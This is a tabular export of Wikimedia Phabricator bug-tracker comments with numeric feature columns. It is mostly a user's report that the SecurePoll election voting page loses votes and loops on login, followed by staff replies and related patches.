",,,1431563621,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu6mhxxvuuwzv2o45xwj,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"Change 210833 had a related patch set uploaded (by Yuvipanda):
Add lighttpd server types

[[GERRIT_URL]]
"
98399,.inputs-box style shoudl only be loaded on login page,"Some css rules appear in common.less but are only used on the mobile custom login page. They should be moved.
",Medium,50.0,1430943263,1431439035.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-ujvubqk7dtx2wpwfjkdj,task_description,resolved,True,c3,1,True,True,True,-9,True,4.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.9565217391304348,"Some css rules appear in common.less but are only used on the mobile custom login page. They should be moved.
"
457546,.inputs-box style shoudl only be loaded on login page,"Change 210284 merged by jenkins-bot:
Only load inputs-box styles on login page

[[https://gerrit.wikimedia.org/r/210284]]",,,1431438814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ujvubqk7dtx2wpwfjkdj,task_subcomment,,True,c3,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5,0.875,"Change 210284 merged by jenkins-bot:
Only load inputs-box styles on login page

[[GERRIT_URL]]"
457406,.inputs-box style shoudl only be loaded on login page,"Change 210284 had a related patch set uploaded (by Jdlrobson):
Only load inputs-box styles on login page

[[https://gerrit.wikimedia.org/r/210284]]
",,,1431418534,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ujvubqk7dtx2wpwfjkdj,task_subcomment,,True,c3,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6551724137931036,0.896551724137931,"Change 210284 had a related patch set uploaded (by Jdlrobson):
Only load inputs-box styles on login page

[[GERRIT_URL]]
"
98013,Voting process rejects user login and loses votes contrary to what it announces,"Quite often, on Wikipedia and other sites, a banner invites me — again and again — to vote for something. 
Quite often, this ends up in an over-complicated process full of jargon, trapped with bugs and wrong directions and dead ends. Last time, I gave up voting.

The vote today is nicer. :-) But it is still buggy and not user-friendly.

On Wikipedia, a banner invites me to vote. 
I go to this vote. 
I get the page that starts with a little explanation: please make your votes here, all your votes are neutral by default, you may set your votes now and come back later and change them. 
Fine. 
I click the link for the presentation of a candidate, I come back to the voting page, I set my vote. 
I do the same for another candidate... 
I click other links too. 
I go to other Web sites too. 
I go back to the page of my votes. 

I expect to find the same page as before, with my votes kept as promised.

Instead, I find a barrier. A page says that I must log in. But how? There is a little link “Log in” at the top right. See this screen photo:

{F160349, alt=""Barrier. The page says that I must log in. But how? There is a little link “Log in” at the top right.""}

I click the link “Log in”. I try to log in.

I expect the auth to work and I expect to land on the page for voting, with my votes kept as promised. 

Instead, I find a dead end. A page gives me an insult message: login error, no user “Nnemo”. The page asks me to log in. This turns the dead end into an infinite loop. ;-) See this screen photo:

{F160364, alt=""Dead end. The page gives me an insult message: login error, no user “Nnemo”. The page asks me to log in. This turns the dead end into an infinite loop. ;-) ""}

...

Finally, after circumventing the traps, I get back the voting page. I expect the voting page to have my votes kept, as promised. Instead, my votes are lost and the votes are all neutral.

It would be nice to fix and improve that.

Thank you.

I have Safari on iOS 8 on an iPad.

Nnemo
",Medium,50.0,1430752987,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,False,PHID-TASK-s6ul6haqag7tqeoc76xa,task_description,open,True,c3,1,False,False,,-9,True,0.3333333333333333,0.16666666666666666,0.0,0.16666666666666666,0.16666666666666666,4.5,0.8333333333333334,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,5.833333333333333,0.16666666666666666,4.333333333333333,9.166666666666666,0.16666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.16666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.16666666666666666,0.16666666666666666,0.0,6.5,1.5,0.3333333333333333,0.8333333333333334,0.8333333333333334,0.0,0.0,1.5,3.6666666666666665,0.3333333333333333,0.16666666666666666,0.8333333333333334,0.5,0.0,0.5,0.0,0.16666666666666666,0.3333333333333333,13.166666666666666,0.6666666666666666,0.5,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,6.666666666666667,1.5,10.5,0.6666666666666666,2.1666666666666665,8.5,0.0,0.5,0.0,0.0,3.3333333333333335,0.16666666666666666,0.16666666666666666,0.0,7.166666666666667,9.166666666666666,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,7.166666666666667,0.0,0.5,2.6666666666666665,1.1666666666666667,0.16666666666666666,0.16666666666666666,0.0,0.0,3.1866246498599438,0.6145658263305321,"Quite often, on Wikipedia and other sites, a banner invites me — again and again — to vote for something. 
Quite often, this ends up in an over-complicated process full of jargon, trapped with bugs and wrong directions and dead ends. Last time, I gave up voting.

The vote today is nicer. :-) But it is still buggy and not user-friendly.

On Wikipedia, a banner invites me to vote. 
I go to this vote. 
I get the page that starts with a little explanation: please make your votes here, all your votes are neutral by default, you may set your votes now and come back later and change them. 
Fine. 
I click the link for the presentation of a candidate, I come back to the voting page, I set my vote. 
I do the same for another candidate... 
I click other links too. 
I go to other Web sites too. 
I go back to the page of my votes. 

I expect to find the same page as before, with my votes kept as promised.

Instead, I find a barrier. A page says that I must log in. But how? There is a little link “Log in” at the top right. See this screen photo:

{F160349, alt=""Barrier. The page says that I must log in. But how? There is a little link “Log in” at the top right.""}

I click the link “Log in”. I try to log in.

I expect the auth to work and I expect to land on the page for voting, with my votes kept as promised. 

Instead, I find a dead end. A page gives me an insult message: login error, no user “Nnemo”. The page asks me to log in. This turns the dead end into an infinite loop. ;-) See this screen photo:

{F160364, alt=""Dead end. The page gives me an insult message: login error, no user “Nnemo”. The page asks me to log in. This turns the dead end into an infinite loop. ;-) ""}

...

Finally, after circumventing the traps, I get back the voting page. I expect the voting page to have my votes kept, as promised. Instead, my votes are lost and the votes are all neutral.

It would be nice to fix and improve that.

Thank you.

I have Safari on iOS 8 on an iPad.

Nnemo
"
2046448,Voting process rejects user login and loses votes contrary to what it announces,"Evaluation:
> Task description is unclear. Could be a bugfix as well as a feature request.",,,1673365192,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,3,False,,,392,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"Evaluation:
QUOTE"
1924332,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013, @Nnemo wrote:
> Instead, I find a barrier. A page says that I must log in. But how? There is a little link “Log in” at the top right.

This task is very old but I want to flag here that there is a related bug for this at T289542.

The general problem here is valid though I don't think is really solvable without a ""save ballot as draft"" feature or something like that, which I guess would require cookies.
",,,1653684994,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,3,False,,,360,True,0.0,2.0,2.0,0.0,2.0,10.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,8.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,13.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,2.0,0.0,3.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.746031746031746,0.7936507936507936,"QUOTE
QUOTE

This task is very old but I want to flag here that there is a related bug for this at T289542.

The general problem here is valid though I don't think is really solvable without a ""save ballot as draft"" feature or something like that, which I guess would require cookies.
"
466649,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1310354, @Varnent wrote:
> Opening links in a new window is not ideal - but the best solution given the technical constraints we are working within for now.

From my experience (see past comment), it would not fix anything.
",,,1433160740,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-5,True,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.45,0.9,"QUOTE
QUOTE

From my experience (see past comment), it would not fix anything.
"
463598,Voting process rejects user login and loses votes contrary to what it announces,"The link for Nisar Ahmed Syed works for me - I am guessing that it is browser sensitive. I have changed it to a more generic link.

Opening links in a new window is not ideal - but the best solution given the technical constraints we are working within for now.

As for the votes not holding, the instructions say that if you return they will reset to neutral. That is intentional to prevent someone from being able to see how someone else (perhaps using their computer) voted in the elections. Per the instructions:
""You can return to change your votes any time while voting is open. All of your votes will be reset to ""neutral"" and you will have to re-enter any support or oppose votes.""",,,1432566946,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-6,True,2.0,1.5,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.5,1.5,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,5.5,1.5,1.0,0.5,3.0,0.0,0.0,0.5,4.0,0.0,1.0,0.5,2.5,0.0,2.5,0.0,0.0,1.0,9.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,5.0,4.5,6.5,3.0,2.0,7.5,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,7.5,13.5,1.5,0.0,2.5,0.0,7.5,0.0,0.5,1.0,0.5,2.0,0.5,0.5,0.0,3.8502406516105143,0.7482413920770086,"The link for Nisar Ahmed Syed works for me - I am guessing that it is browser sensitive. I have changed it to a more generic link.

Opening links in a new window is not ideal - but the best solution given the technical constraints we are working within for now.

As for the votes not holding, the instructions say that if you return they will reset to neutral. That is intentional to prevent someone from being able to see how someone else (perhaps using their computer) voted in the elections. Per the instructions:
""You can return to change your votes any time while voting is open. All of your votes will be reset to ""neutral"" and you will have to re-enter any support or oppose votes."""
463339,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1308513, @Nnemo wrote:
> In the voting page, for the candidate

This is unrelated to what this task is about. One problem per task only, please.",,,1432547002,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,23.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.590909090909091,0.8181818181818182,"QUOTE
QUOTE

This is unrelated to what this task is about. One problem per task only, please."
463247,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1308511, @Nnemo wrote:
> Tonight, Wikimedia invited me to vote in another election.

In the voting page, for the candidate Nisar Ahmed Syed, the link to the presentation does not work. So the election is not fair. You may want to do something about that.
",,,1432525866,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-6,True,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.619047619047619,0.7380952380952381,"QUOTE
QUOTE

In the voting page, for the candidate Nisar Ahmed Syed, the link to the presentation does not work. So the election is not fair. You may want to do something about that.
"
463246,Voting process rejects user login and loses votes contrary to what it announces,"Thank you @Jalexander for taking interest in this issue.

>>! In T98013#1281608, @Jalexander wrote:
> One thought I have that might be helpful though, is would it be useful if I made all of the links auto open in a new tab or window? That way the 'vote' page remains open in it's own tab/window and you can go back and change things/vote without navigating away and potentially having issues?

No. This is a //FBI//: //fausse bonne idée//. :-) 

These “opening links” are a horrible non-standard thing. They give very bad user experience, especially on mobile devices. On Wikimedia sites, links are normal, so the user expects links to open normally. Breaking this would give a bad surprise to the user.

**The user** controls whether s/he wants to open the links in other windows or tabs, and anyway that does not solve the problem, as we will see.

Tonight, Wikimedia invited me to vote in another election. I had the voting page, and I kept it. This time, no navigating back. From this page, I opened several links to the presentation of candidates, **in new windows**. With Firefox Mac. When I had set my votes, I sent the form. And I encountered the same issues: “log in” trap, dead end, and so on. 

When the user sends the form with the votes, the form is expected to just work. I think that this is the first thing to fix here. And probably the easiest.
",,,1432525296,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-6,True,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.333333333333333,1.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,5.0,8.333333333333334,0.0,1.6666666666666667,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,15.666666666666666,1.6666666666666667,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,6.666666666666667,1.6666666666666667,10.666666666666666,1.6666666666666667,2.3333333333333335,10.0,0.0,0.3333333333333333,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,5.0,8.333333333333334,2.0,0.0,0.0,0.0,5.0,0.0,0.6666666666666666,1.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,3.5350797952423965,0.6883970691558767,"Thank youSCREEN_NAME for taking interest in this issue.

QUOTE
QUOTE

No. This is a //FBI//: //fausse bonne idée//. :-) 

These “opening links” are a horrible non-standard thing. They give very bad user experience, especially on mobile devices. On Wikimedia sites, links are normal, so the user expects links to open normally. Breaking this would give a bad surprise to the user.

**The user** controls whether s/he wants to open the links in other windows or tabs, and anyway that does not solve the problem, as we will see.

Tonight, Wikimedia invited me to vote in another election. I had the voting page, and I kept it. This time, no navigating back. From this page, I opened several links to the presentation of candidates, **in new windows**. With Firefox Mac. When I had set my votes, I sent the form. And I encountered the same issues: “log in” trap, dead end, and so on. 

When the user sends the form with the votes, the form is expected to just work. I think that this is the first thing to fix here. And probably the easiest.
"
463245,Voting process rejects user login and loses votes contrary to what it announces,"Thank you @Jalexander for taking interest in this issue.

>>! In T98013#1281608, @Jalexander wrote:
> One thought I have that might be helpful though, is would it be useful if I made all of the links auto open in a new tab or window? That way the 'vote' page remains open in it's own tab/window and you can go back and change things/vote without navigating away and potentially having issues?

No. This is a //FBI//: //fausse bonne idée//. 

These “opening links” are a horrible non-standard thing. They give very bad user experience, especially on mobile devices. On Wikimedia sites, links are normal, so the user expects links to open normally. Breaking this would give a bad surprise to the user.

**The user** controls whether s/he wants to open the links in other windows or tabs, and anyway that does not solve the problem, as we will see.

Tonight, Wikimedia invited me to vote in another election. I had the voting page, and I kept it. This time, no navigating back. From this page, I opened several links to the presentation of candidates, **in new windows**. With Firefox Mac. When I had set my votes, I sent the form. And I encountered the same issues: “log in” trap, dead end, and so on. 

When the user sends the form with the votes, the form is expected to just work. I think that this is the first thing to fix here. And probably the easiest.
",,,1432525159,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-6,True,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.333333333333333,1.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,5.0,8.333333333333334,0.0,1.6666666666666667,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,15.666666666666666,1.6666666666666667,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,6.666666666666667,1.6666666666666667,10.666666666666666,1.6666666666666667,2.3333333333333335,10.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,5.0,8.333333333333334,2.0,0.0,0.0,0.0,5.0,0.0,0.6666666666666666,1.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,3.5476851851851854,0.6858024691358025,"Thank youSCREEN_NAME for taking interest in this issue.

QUOTE
QUOTE

No. This is a //FBI//: //fausse bonne idée//. 

These “opening links” are a horrible non-standard thing. They give very bad user experience, especially on mobile devices. On Wikimedia sites, links are normal, so the user expects links to open normally. Breaking this would give a bad surprise to the user.

**The user** controls whether s/he wants to open the links in other windows or tabs, and anyway that does not solve the problem, as we will see.

Tonight, Wikimedia invited me to vote in another election. I had the voting page, and I kept it. This time, no navigating back. From this page, I opened several links to the presentation of candidates, **in new windows**. With Firefox Mac. When I had set my votes, I sent the form. And I encountered the same issues: “log in” trap, dead end, and so on. 

When the user sends the form with the votes, the form is expected to just work. I think that this is the first thing to fix here. And probably the easiest.
"
461413,Voting process rejects user login and loses votes contrary to what it announces,Removed Patch-For-Review as that got merged but keeping task open as I assume there's more to fix here,,,1432133813,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,3.6956521739130435,0.9130434782608695,Removed Patch-For-Review as that got merged but keeping task open as I assume there's more to fix here
458748,Voting process rejects user login and loses votes contrary to what it announces,"Change 210849 merged by jenkins-bot:
Open external links on voteWiki in new tab/window

[[https://gerrit.wikimedia.org/r/210849]]",,,1431615674,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.64,0.92,"Change 210849 merged by jenkins-bot:
Open external links on voteWiki in new tab/window

[[GERRIT_URL]]"
458593,Voting process rejects user login and loses votes contrary to what it announces,"Change 210849 had a related patch set uploaded (by Jalexander):
Open external links on voteWiki in new tab/window

[[https://gerrit.wikimedia.org/r/210849]]
",,,1431571052,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8,0.9,"Change 210849 had a related patch set uploaded (by Jalexander):
Open external links on voteWiki in new tab/window

[[GERRIT_URL]]
"
458047,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1281579, @Aklapper wrote:
> What is ""the vote today"" and how to find it?

It is no longer a vote today :) This is the FDC election that ended on Sunday (There is another one starting this Sunday though for the Board).


To the question at hand, sadly much of this is the SecurePoll system which I've been trying to find ways to make better and easier (and I think we we have) but it still has a ways to go for sure. I'm sorry that we didn't see this during the election itself but I am glad that you at least were able to vote in the end. Thanks Andre for adding me.

Some of these issues are core issues in SecurePoll that will be tough to fix quickly but I want to help developers make more changes in the future as well and so they are very good to document to help find where to focus. Other things I want to try and make more user friendly or at least 'easier' to work around the problems. Let me know if any of these sound like they could help.



  - Need to log in
   - The SecurePoll system uses a completely different log in system sadly, so attempting to 'log in' to voteWiki won't actually help (even if you could you wouldn't necessarily be able to vote) it gets it's ""log in"" info when you are sent from Meta, the first page you landed on after clicking the banner.
   - Do you think this would be a bit easier if we put a big ""start voting over"" or ""get back to fresh ballot"" type link on the side bar and/or the home page/log in page? Perhaps with a note on the log in page that they can't log in to vote? I know that isn't perfect but at least will let people know to stop trying and how to get back to the start.

  - Following links and then coming back to have issues (log in/empty ballot etc)
   - Hmm, I don't know a good way to stop the issues if you use the back button a couple times without working with some more major changes that won't be ready for the next election (Sunday for 2 weeks, then we'll have a year or two to make changes :) ).  One thought I have that might be helpful though, is would it be useful if I made all of the links auto open in a new tab or window? That way the 'vote' page remains open in it's own tab/window and you can go back and change things/vote without navigating away and potentially having issues?

  - Empty ballot
   - This one is also tough sadly, the best thing I can come up with is the 'open links in new tab' option above and making sure it doesn't time out or anything too early. You can always change you vote (come back and revote) but even there it's always a fresh ballot because the system encrypts your vote (and can't read it back to refill the selections). It's possible with more work they could find a secure way to do it in the session.


So, no perfect answers right now but I really appreciate you filing this so that we can try to make the whole process better. From my experience it IS better then it has been in the past 2-10 years for this type of election but... that isn't saying much :).


",,,1431504374,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-8,True,0.8571428571428571,0.14285714285714285,0.2857142857142857,0.14285714285714285,1.4285714285714286,7.428571428571429,2.2857142857142856,0.14285714285714285,0.2857142857142857,0.7142857142857143,2.4285714285714284,3.0,0.0,0.0,0.14285714285714285,3.0,0.2857142857142857,7.857142857142857,12.857142857142858,0.14285714285714285,3.2857142857142856,0.0,0.14285714285714285,0.0,0.8571428571428571,0.5714285714285714,0.0,0.42857142857142855,1.1428571428571428,0.8571428571428571,0.2857142857142857,5.714285714285714,1.7142857142857142,2.0,0.2857142857142857,1.7142857142857142,0.0,0.0,0.5714285714285714,1.2857142857142858,0.14285714285714285,0.5714285714285714,0.42857142857142855,1.2857142857142858,0.0,1.1428571428571428,0.14285714285714285,0.2857142857142857,0.0,11.714285714285714,1.0,1.2857142857142858,0.14285714285714285,0.8571428571428571,0.0,0.0,0.2857142857142857,0.14285714285714285,0.8571428571428571